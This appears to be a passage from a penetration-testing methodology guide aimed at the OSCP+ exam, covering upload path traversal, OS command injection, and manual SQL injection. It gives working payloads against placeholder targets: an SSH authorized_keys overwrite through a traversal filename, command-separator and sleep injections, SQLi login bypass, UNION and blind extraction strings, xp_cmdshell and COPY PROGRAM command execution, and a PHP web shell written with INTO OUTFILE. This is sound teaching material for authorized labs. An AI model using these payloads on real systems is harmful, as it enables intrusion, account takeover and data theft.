A multipart filename/import path appears to influence the filesystem destination.
2.2.10.2.1 Find the clue from your starting access
Where to investigate: Inspect an accepted upload's raw multipart filename/path fields and compare the returned destination for one harmless unique filename.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Independently prove destination and bytes before claiming a privileged consumer or accepted key.
Failure/next check: Normalization, permissions and consumer policy are separate failure points; preserve the proven write without overstating its effect.
curl -sk -b cookies.txt -F 'file=@probe.txt;filename=../UNIQUE_CANARY.txt;type=text/plain' http://TARGET:PORT/upload
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Submitted filename: ../UNIQUE_CANARY.txt
Independent listing: /EXPECTED_PARENT/UNIQUE_CANARY.txt
Recognize this detail: An independently located out-of-directory canary is path-control evidence; it does not establish access to another user's key directory.
Still missing before method selection: Confirm filesystem identity, exact destination semantics, write permissions and a useful consumer/trigger.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A controlled usable destination and its consumer accept the file: select that verified write-to-access chain. |
| Ruled out in this context | The server strips path components and stores only a generated basename: reject arbitrary placement in that context. |
| Inconclusive | A reflected submitted path without independent location evidence leaves placement inconclusive. |
If you do not yet have this clue: start with Establish upload acceptance, storage and retrieval.
2.2.10.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file.
2.2.10.4 Discover and verify prerequisites
curl -sk -b cookies.txt -F 'file=@probe.txt;filename=../UNIQUE_CANARY.txt;type=text/plain' http://TARGET:PORT/upload
2.2.10.5 Why it works
Arbitrary placement is different from an executable web upload. An SSH-key route additionally requires the exact user/home, directory/file semantics, accepted key policy and reachable SSH service.
2.2.10.6 Execute and choose variants
First use a harmless unique filename outside the normal upload directory and verify it through a separate read/listing primitive. Do not overwrite an existing file as a detection test.
2.2.10.6.1 Lab-only variant — controlled SSH public-key placement
ssh-keygen -t ed25519 -f ./web_upload_key -N ''
cp ./web_upload_key.pub ./authorized_keys
curl -sk -b cookies.txt -F 'file=@authorized_keys;filename=../../../../home/USER/.ssh/authorized_keys' http://TARGET:PORT/upload
ssh -i ./web_upload_key -p SSH_PORT USER@TARGET
Use only in a disposable authorized lab after confirming the exact user/home, SSH service, web write identity, destination semantics and overwrite impact. Failure can mean path normalization, permission denial, SSH policy or a different user—not necessarily that upload path control is absent.
2.2.10.7 Worked example — hypothetical
Observation: an upload stores a benign canary outside its normal directory. Test: independently locate/read it. Illustrative output: the destination belongs to the web identity but another user's SSH directory is not writable. Interpretation: path control exists; the proposed key-placement chain does not.
2.2.10.8 Verify the result
Independently prove destination and bytes before claiming a privileged consumer or accepted key.
2.2.10.9 Failure and fallback
Normalization, permissions and consumer policy are separate failure points; preserve the proven write without overstating its effect.
2.2.10.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| An SSH service and a known password, private key or agent context | Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission | §1.2.10 — Use SSH passwords, keys and forwarding-capable access |
| A root-consumed file or directory appears writable | Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately | §5.1.6 — Prove effective file, directory, ACL and mount control |
| A privileged object appears writable or an ACL tool reports a useful right | Correct trustee/token, object type and effective rights including parents and deny entries | §5.2.6 — Prove effective file, registry and service-object permissions |
2.2.11 Prove visible or blind operating-system command injection
Choose when: An input appears in a command-like operation or causes shell-dependent behavior · Result: Verified command execution or a repeatable command-dependent blind effect
Blocks: 4. Operational procedure | Quick sheet
2.2.11.1 Purpose and result
Verified command execution or a repeatable command-dependent blind effect.
2.2.11.2 Recognition clues
An input appears in a command-like operation or causes shell-dependent behavior.
2.2.11.2.1 Find the clue from your starting access
Where to investigate: Find a mapped feature that runs a system-like operation, inspect its request, and compare a normal value with one bounded command-dependent probe.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Use reproducible command-specific output or controlled timing comparisons; a server error alone does not prove execution.
Failure/next check: A callback failure does not disprove already-confirmed execution. Diagnose quoting/interpreter/route at the relevant layer.
curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Normal function: network diagnostic
Request parameter: host=NORMAL_VALUE
Response includes utility-style output
Recognize this detail: The function and output suggest an OS utility consumer; the parameter's parsing boundary is the candidate.
Still missing before method selection: Replay the real request with a benign id/whoami marker and a normal control. Require attributable command output, or repeat bounded timing/control tests for a blind sink. Reflected text or one slow response is not execution.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | Only the injected request yields the intended command-derived proof: select command injection. |
| Ruled out in this context | The input is passed as a fixed safe argument and metacharacters remain literal: reject that separator/context route. |
| Inconclusive | A generic error or isolated delay could be application/load behavior; run stable controls before deciding. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.11.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof.
2.2.11.4 Discover and verify prerequisites
curl -skG --data-urlencode 'PARAM=VALUE;id' http://TARGET:PORT/PATH
2.2.11.5 Why it works
The request decoder, application language and shell parse at different layers. Visible output and controlled timing can prove execution without a reverse connection.
2.2.11.6 Execute and choose variants
2.2.11.6.1.1 Prove command execution through independently recognizable output Visible-output baseline
Start with a benign identity marker appropriate to the inferred operating system:
curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH
Decisive output: command output attributable to the target, such as a username/UID that is absent from the normal response. Reflection of the payload is not execution.
2.2.11.6.1.1.1 Variants — separators, quoting and POST bodies
Test only the forms compatible with the observed command and platform:
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1%0aid
curl -sk -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -sk -X POST -H 'Content-Type: application/json' -d '{"host":"127.0.0.1;id"}' http://TARGET:PORT/api/PATH
For Windows command contexts, use an observed cmd.exe or PowerShell boundary before choosing syntax:
127.0.0.1 & whoami
127.0.0.1 | whoami
2.2.11.6.1.2 Check command execution through repeated control and timing comparisons Blind timing proof
Repeat a control and a bounded-delay request several times:
curl -sk -o /dev/null -w 'control=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1' http://TARGET:PORT/PATH
curl -sk -o /dev/null -w 'test=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1;sleep 5' http://TARGET:PORT/PATH
Windows candidate after platform evidence:
127.0.0.1 & timeout /t 5
Decisive output: a repeatable delay near the chosen interval relative to multiple controls. One slow response is inconclusive.
2.2.11.6.1.3 After command execution
Linux: id; hostname; pwd
Windows: whoami; hostname; cd
Record the execution identity, working directory, shell/parser and egress assumptions. Hand reliable-session work to Block 7; do not treat one command response as an interactive shell.
2.2.11.7 Worked example — hypothetical
Observation: a utility parameter behaves differently with a separator. Test: compare baseline, invalid control and minimal identity command. Illustrative output: a consistent uid line appears only in the injected request. Interpretation: establish the OS context before selecting a shell.
2.2.11.8 Verify the result
Use reproducible command-specific output or controlled timing comparisons; a server error alone does not prove execution.
2.2.11.9 Failure and fallback
A callback failure does not disprove already-confirmed execution. Diagnose quoting/interpreter/route at the relevant layer.
2.2.11.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A PoC, injected command or remote client reports execution | A functioning execution primitive and an observable output or controlled side effect | §4.2.5 — Verify command execution, host and represented identity |
| Linux command execution exists but an interactive channel is needed | A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener | §4.2.6 — Connect a Linux reverse shell through an available interpreter |
| A simple command works while a longer or nested payload fails | Known outer request/template/database parser and inner shell; correct character encoding and transport length | §7.1.8 — Repair quoting, encoding and command-length boundaries |
2.2.12 Establish SQL query influence and DBMS context
Blocks: 4. Operational procedure | Quick sheet
2.2.12.1 Purpose and result
A validated injection context and a chosen manual extraction approach.
2.2.12.2 Recognition clues
Database errors or controlled true/false response differences.
2.2.12.2.1 Find the clue from your starting access
Where to investigate: Map a data lookup/login/search request, preserve its session and compare one changed input with normal/invalid controls.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: Input reaches a SQL query; a valid request and stable response baseline exist
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Require repeatable, query-dependent behavior and preserve request/session controls; identify DBMS evidence before DB-specific payloads.
Failure/next check: Generic errors, WAF responses, caching and broken sessions can imitate SQLi. Rebuild the valid request and test a discriminating control.
curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH
curl -skG --data-urlencode "PARAM=NORMAL_VALUE'" http://TARGET:PORT/PATH
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Normal request: expected rows
Changed request: SQL syntax error near INPUT
Recognize this detail: A database-looking error ties the input to a possible query parser; it is a hypothesis until controlled predicates affect query behavior.
Still missing before method selection: Identify quote/query context and repeat true/false comparisons; establish the DBMS before DB-specific payloads.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A compatible true/false pair reproducibly controls the query result: choose a manual SQL method. |
| Ruled out in this context | The error is a generic proxy/application response unrelated to SQL controls: reject this query-influence inference. |
| Inconclusive | An unstable page or expired session makes differences uninterpretable; restore a valid baseline. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.12.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Input reaches a SQL query; a valid request and stable response baseline exist.
2.2.12.4 Discover and verify prerequisites
curl -skG --data-urlencode "PARAM=VALUE'" http://TARGET:PORT/PATH
2.2.12.5 Why it works
SQL syntax depends on query position, quoting, comment rules and DBMS. A quote-induced error is a hypothesis until a controlled expression changes query behavior reproducibly.
2.2.12.6 Execute and choose variants
Exam boundary: the current OSCP+ exam guide prohibits SQLmap and other automatic exploitation tools. The following procedure is manual. Recheck the current guide before an exam.
2.2.12.6.1.1 Establish query influence
Replay a valid request in Burp Repeater. Change one parameter and compare a normal value, quote, true condition and false condition:
VALUE
VALUE'
VALUE' AND '1'='1
VALUE' AND '1'='2
For a numeric context:
1
1 AND 1=1
1 AND 1=2
Evidence: a database error, stable true/false response difference, or repeatable database-specific delay. An isolated
500, WAF block or generic application error is not enough.
2.2.12.6.1.2 Test whether query influence changes authentication decisions Authentication-bypass candidate
In an authorized disposable lab, preserve the application's quoting and comment syntax:
' OR 1=1-- -
administrator'-- -
Verification: identify the resulting account/session and perform a separate authorized request. A redirect or welcome string alone can be misleading.
2.2.12.6.1.3 Find the column count and types needed for a UNION result Determine UNION shape
First establish column count:
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
Or increment NULL columns until the query succeeds:
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
Then find a displayed text-compatible column:
' UNION SELECT NULL,'MARKER_7F31',NULL-- -
Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.
2.2.12.6.1.4 Extract only after fingerprinting the DBMS
MySQL: ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL: ' UNION SELECT NULL,@@version,NULL-- -
Use the confirmed DBMS's catalog and concatenation syntax rather than cycling unrelated payloads. Keep each extraction request reproducible in Repeater.
2.2.12.6.1.5 Infer selected database values through stable response differences Boolean- or time-blind extraction
Choose a stable page marker or content length for true/false comparisons:
' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -
DBMS-specific time proofs:
MySQL: ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'--
Repeat controls. Time-based results are invalid if application latency overlaps the chosen delay or the condition cannot be changed independently.
2.2.12.7 Worked example — hypothetical
Observation: a quote causes a database-looking error. Test: compare syntactically compatible true/false conditions with normal requests. Illustrative output: only the false predicate removes a known row. Interpretation: query influence is confirmed and its context constrains the next method.
2.2.12.8 Verify the result
Require repeatable, query-dependent behavior and preserve request/session controls; identify DBMS evidence before DB-specific payloads.
2.2.12.9 Failure and fallback
Generic errors, WAF responses, caching and broken sessions can imitate SQLi. Rebuild the valid request and test a discriminating control.
2.2.12.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A login/query path has confirmed compatible SQL influence | The injected condition changes the authentication query and the application accepts the resulting account/session | §2.2.13 — Test a SQL-backed authentication bypass |
| An injectable SELECT renders query results | Compatible column count/types, a reflected result position and rights to the requested data | §2.2.14 — Extract data through UNION and visible SQL results |
| Query influence exists but rows are not rendered | A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests | §2.2.15 — Infer SQL data through boolean or time-based differences |
2.2.13 Test a SQL-backed authentication bypass
Choose when: A login/query path has confirmed compatible SQL influence · Result: A verified application authentication transition
Blocks: 4. Operational procedure | Quick sheet
2.2.13.1 Purpose and result
A verified application authentication transition.
2.2.13.2 Recognition clues
A login/query path has confirmed compatible SQL influence.
2.2.13.2.1 Find the clue from your starting access
Where to investigate: Use the actual login request already shown to influence SQL, including its real username/password fields and invalid-login control.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: The injected condition changes the authentication query and the application accepts the resulting account/session
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Verify the authenticated identity and protected action, not merely a redirect or a new cookie.
Failure/next check: Query-shape mismatch or additional checks can block login despite SQLi. Use data extraction or another application path.
curl -sk -i --data-urlencode 'username=USER' --data-urlencode 'password=INVALID_CONTROL' http://TARGET:PORT/login
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Invalid control: login rejected
Mapped handler: username/password query returns a user row
Recognize this detail: The authentication decision may depend on the injectable query result, creating a bypass candidate.
Still missing before method selection: Verify query shape and post-query checks, then independently confirm the resulting session identity/protected action.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A controlled SQL condition creates a real authenticated session with the intended action: select the bypass route. |
| Ruled out in this context | The application separately verifies the password after query selection: reject that bypass while retaining other SQL primitives. |
| Inconclusive | A redirect or cookie without protected access leaves authentication success unresolved. |
If you do not yet have this clue: start with Establish SQL query influence and DBMS context.
2.2.13.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The injected condition changes the authentication query and the application accepts the resulting account/session.
2.2.13.4 Discover and verify prerequisites
curl -sk -i -c cookies.txt --data-urlencode "username=USER' OR '1'='1'-- -" --data-urlencode 'password=INVALID_CONTROL' http://TARGET:PORT/login
2.2.13.5 Why it works
Changing a WHERE clause can return a user row, but the application may perform additional password/account checks. Bypass must be proven by the new session and accessible functionality.
2.2.13.6 Execute and choose variants
In an authorized disposable lab, preserve the application's quoting and comment syntax:
' OR 1=1-- -
administrator'-- -
Verification: identify the resulting account/session and perform a separate authorized request. A redirect or welcome string alone can be misleading.
2.2.13.7 Worked example — hypothetical
Observation: the login query is injectable. Test: compare invalid-password control and bypass request. Illustrative output: a new authenticated session can read a protected profile. Interpretation: confirm which identity was selected and enumerate its application rights.
2.2.13.8 Verify the result
Verify the authenticated identity and protected action, not merely a redirect or a new cookie.
2.2.13.9 Failure and fallback
Query-shape mismatch or additional checks can block login despite SQLi. Use data extraction or another application path.
2.2.13.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| Forms, downloads, exports, account functions or role-specific interfaces | A normal request baseline and the relevant account/role; authorized accounts for role comparisons | §2.1.7 — Map functions, roles and normal requests manually |
| Administrative actions/routes or request methods visible from a lower role | The lower-role identity can invoke a protected server-side action without its required authorization | §2.2.19 — Cross role, function or session authorization boundaries |
| An injectable SELECT renders query results | Compatible column count/types, a reflected result position and rights to the requested data | §2.2.14 — Extract data through UNION and visible SQL results |
2.2.14 Extract data through UNION and visible SQL results
Choose when: An injectable SELECT renders query results · Result: Visible database identity, schema and selected useful data
Blocks: 4. Operational procedure | Operational procedure | Quick sheet
2.2.14.1 Purpose and result
Visible database identity, schema and selected useful data.
2.2.14.2 Recognition clues
An injectable SELECT renders query results.
2.2.14.2.1 Find the clue from your starting access
Where to investigate: After controlled SELECT influence, inspect which database result fields are rendered and test the documented column-shape controls.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: Compatible column count/types, a reflected result position and rights to the requested data
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Verify actual returned target data and the reflected position; distinguish a reflected input string from executed SQL output.
Failure/next check: No visible marker may be column/type mismatch or non-rendered output. Switch to a validated blind method if the query remains controllable.
curl -skG --data-urlencode "PARAM=VALUE' ORDER BY 1-- -" http://TARGET:PORT/PATH
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Compatible ordering: normal result
Out-of-range ordering: column-position error
Recognize this detail: A predictable shape boundary in a rendered SELECT suggests a UNION channel, subject to column types and reflection.
Still missing before method selection: Confirm column count/types and a query-generated visible marker before extracting selected metadata.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A compatible marker appears from a UNION result column: choose visible manual extraction. |
| Ruled out in this context | The injection is in a non-SELECT context without a compatible result channel: reject UNION in this request. |
| Inconclusive | No marker can mean type/shape error or an unrendered column; distinguish these before switching techniques. |
If you do not yet have this clue: start with Establish SQL query influence and DBMS context.
2.2.14.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Compatible column count/types, a reflected result position and rights to the requested data.
2.2.14.4 Discover and verify prerequisites
curl -skG --data-urlencode "PARAM=VALUE' ORDER BY 1-- -" http://TARGET:PORT/PATH
2.2.14.5 Why it works
UNION combines compatible result sets; only columns rendered by the application carry visible output. DBMS-specific metadata and string types constrain payload choice.
2.2.14.6 Execute and choose variants
First establish column count:
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
Or increment NULL columns until the query succeeds:
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
Then find a displayed text-compatible column:
' UNION SELECT NULL,'MARKER_7F31',NULL-- -
Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.
MySQL: ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL: ' UNION SELECT NULL,@@version,NULL-- -
Use the confirmed DBMS's catalog and concatenation syntax rather than cycling unrelated payloads. Keep each extraction request reproducible in Repeater.
2.2.14.7 Worked example — hypothetical
Observation: a SELECT result is reflected. Test: determine shape and place a recognizable marker in a compatible output column. Illustrative output: the marker appears in the response. Interpretation: request only relevant metadata and credential-bearing fields.
2.2.14.8 Verify the result
Verify actual returned target data and the reflected position; distinguish a reflected input string from executed SQL output.
2.2.14.9 Failure and fallback
No visible marker may be column/type mismatch or non-rendered output. Switch to a validated blind method if the query remains controllable.
2.2.14.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
| Confirmed SQL control plus database file, execution or impersonation privileges | DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer | §2.2.16 — Convert database rights into a file or operating-system effect |
| Query influence exists but rows are not rendered | A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests | §2.2.15 — Infer SQL data through boolean or time-based differences |
2.2.15 Infer SQL data through boolean or time-based differences
Choose when: Query influence exists but rows are not rendered · Result: Selected database facts recovered through a reproducible inference channel
Blocks: 4. Operational procedure | Quick sheet
2.2.15.1 Purpose and result
Selected database facts recovered through a reproducible inference channel.
2.2.15.2 Recognition clues
Query influence exists but rows are not rendered.
2.2.15.2.1 Find the clue from your starting access
Where to investigate: Start from proven query influence and compare stable true/false controls or repeated baseline timings when no rows are rendered.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Keep true/false controls, repeated measurements and the exact inferred predicate; a single slow response is inconclusive.
Failure/next check: Unstable sessions/caching/load can break inference. Fix the channel or choose another verified primitive rather than trusting noisy recovered strings.
curl -sk -o /dev/null -w '%{time_total}\n' --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Repeated baseline: short, stable responses
Predicate TRUE: marker present
Predicate FALSE: marker absent
Recognize this detail: A repeatable predicate-dependent difference provides an inference channel even without visible rows.
Still missing before method selection: Validate controls using a known predicate and separate caching, network load and backend delay.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | Known predicates classify consistently and unknown predicates use the same channel: select blind inference. |
| Ruled out in this context | Differences track session/rate-limit noise rather than predicate truth: reject that signal. |
| Inconclusive | One slow request or random body variation is insufficient; repeat controls or choose another primitive. |
If you do not yet have this clue: start with Establish SQL query influence and DBMS context.
2.2.15.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests.
2.2.15.4 Discover and verify prerequisites
curl -sk -o /dev/null -w '%{time_total}\n' --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH
2.2.15.5 Why it works
Boolean and timing channels encode a predicate's truth rather than display data. Timing must separate database delay from network/server noise and rate limiting.
2.2.15.6 Execute and choose variants
Choose a stable page marker or content length for true/false comparisons:
' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -
DBMS-specific time proofs:
MySQL: ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'--
Repeat controls. Time-based results are invalid if application latency overlaps the chosen delay or the condition cannot be changed independently.
2.2.15.7 Worked example — hypothetical
Observation: true/false predicates produce different page content. Test: repeat controls and infer one known character before unknown data. Illustrative output: the known predicate is classified correctly. Interpretation: use the validated channel for selected useful fields.
2.2.15.8 Verify the result
Keep true/false controls, repeated measurements and the exact inferred predicate; a single slow response is inconclusive.
2.2.15.9 Failure and fallback
Unstable sessions/caching/load can break inference. Fix the channel or choose another verified primitive rather than trusting noisy recovered strings.
2.2.15.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
| Confirmed SQL control plus database file, execution or impersonation privileges | DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer | §2.2.16 — Convert database rights into a file or operating-system effect |
| Forms, downloads, exports, account functions or role-specific interfaces | A normal request baseline and the relevant account/role; authorized accounts for role comparisons | §2.1.7 — Map functions, roles and normal requests manually |
| SQL execution is plausible but in-band output is unavailable | A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver | §2.2.17 — Conditional: validate an out-of-band SQL request channel |
2.2.16 Convert database rights into a file or operating-system effect
Choose when: Confirmed SQL control plus database file, execution or impersonation privileges · Result: A verified server-side file operation or command effect
Blocks: 4. Operational procedure | Quick sheet
2.2.16.1 Purpose and result
A verified server-side file operation or command effect.
2.2.16.2 Recognition clues
Confirmed SQL control plus database file, execution or impersonation privileges.
2.2.16.2.1 Find the clue from your starting access
Where to investigate: From the authenticated/injected database context inspect the real role, grants, enabled facilities and server identity before selecting any file/command transition.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Verify the resulting host and operating-system identity, or independently verify written/read bytes.
Failure/next check: Denied DB facility, secure file directory or OS permissions breaks the proposed transition. Retain useful data access and choose another enabled route.
SELECT SYSTEM_USER, ORIGINAL_LOGIN();
SELECT IS_SRVROLEMEMBER('sysadmin');
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
SYSTEM_USER: DATABASE_CONTEXT
IS_SRVROLEMEMBER: 1
OS execution identity: not yet observed
Recognize this detail: Database administration is a useful enabling clue, but it is not an observed OS shell or a domain privilege level.
Still missing before method selection: Match the DBMS-specific facility, configuration, OS permission and consumer; verify a minimal actual OS effect.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | Required role/facility and service-identity effect are confirmed: select the supported database-to-OS method. |
| Ruled out in this context | The required file/command privilege is absent: discard that OS transition while retaining data access. |
| Inconclusive | Unknown facility state or OS identity needs a focused check before choosing payloads. |
If you do not yet have this clue: start with Establish SQL query influence and DBMS context.
2.2.16.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer.
2.2.16.4 Discover and verify prerequisites
SELECT SYSTEM_USER, ORIGINAL_LOGIN();
SELECT IS_SRVROLEMEMBER('sysadmin');
2.2.16.5 Why it works
Database superuser, application administrator and operating-system administrator are different authorities. File write still needs execution handling; command facilities run as a service/proxy identity.
2.2.16.6 Execute and choose variants
This is a new transition, not an automatic consequence of SQL injection. Verify the DBMS identity, database role, feature state, filesystem permissions and path or egress assumptions first.
2.2.16.6.1 MSSQL — xp_cmdshell when privilege and policy allow
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Requires sufficient server privilege; enabling it changes server configuration. Prefer a direct proof when it is already enabled. Verify the Windows service identity returned by whoami.
2.2.16.6.2 PostgreSQL — COPY PROGRAM when role and version allow
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;
Requires a superuser or a role such as pg_execute_server_program; the command runs under the database service account.
2.2.16.6.3 MySQL/MariaDB — file write as a separate primitive
SELECT '<?php echo shell_exec($_GET["cmd"]); ?>'
INTO OUTFILE '/CONFIRMED/WEBROOT/check.php';
Requires FILE privilege, a permitted secure_file_priv destination, a known writable webroot and PHP execution there. Verify the file through HTTP, then verify execution. If it only displays or downloads, only file write is proven.
2.2.16.7 Worked example — hypothetical
Observation: a SQL Server session has the required administrative role. Test: inspect command-facility state and execute a minimal identity proof through the supported procedure. Illustrative output: the SQL service identity returns. Interpretation: treat that exact identity as the foothold.
2.2.16.8 Verify the result
Verify the resulting host and operating-system identity, or independently verify written/read bytes.
2.2.16.9 Failure and fallback
Denied DB facility, secure file directory or OS permissions breaks the proposed transition. Retain useful data access and choose another enabled route.
2.2.16.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A PoC, injected command or remote client reports execution | A functioning execution primitive and an observable output or controlled side effect | §4.2.5 — Verify command execution, host and represented identity |
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
| A new Windows session or claimed administrator/SYSTEM transition | A functioning command channel and the actual effective token/process context | §5.2.5 — Establish Windows token, host and process context |
2.2.17 Conditional: validate an out-of-band SQL request channel
Choose when: SQL execution is plausible but in-band output is unavailable · Result: A verified SQL-dependent outbound request, with its data and transport limits established
Blocks: 4. Operational procedure | Quick sheet
2.2.17.1 Purpose and result
A verified SQL-dependent outbound request, with its data and transport limits established.
2.2.17.2 Recognition clues
SQL execution is plausible but in-band output is unavailable.
2.2.17.2.1 Find the clue from your starting access
Where to investigate: After DBMS/query influence is established, document the absence of stable in-band channels and inspect whether the database platform exposes a permitted outbound lookup facility.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Correlate the query and unique receiver event; do not claim arbitrary database extraction from one callback.
Failure/next check: Function restrictions, platform behavior, privileges or blocked outbound transport can defeat the route. Use a stable in-band or blind method when available.
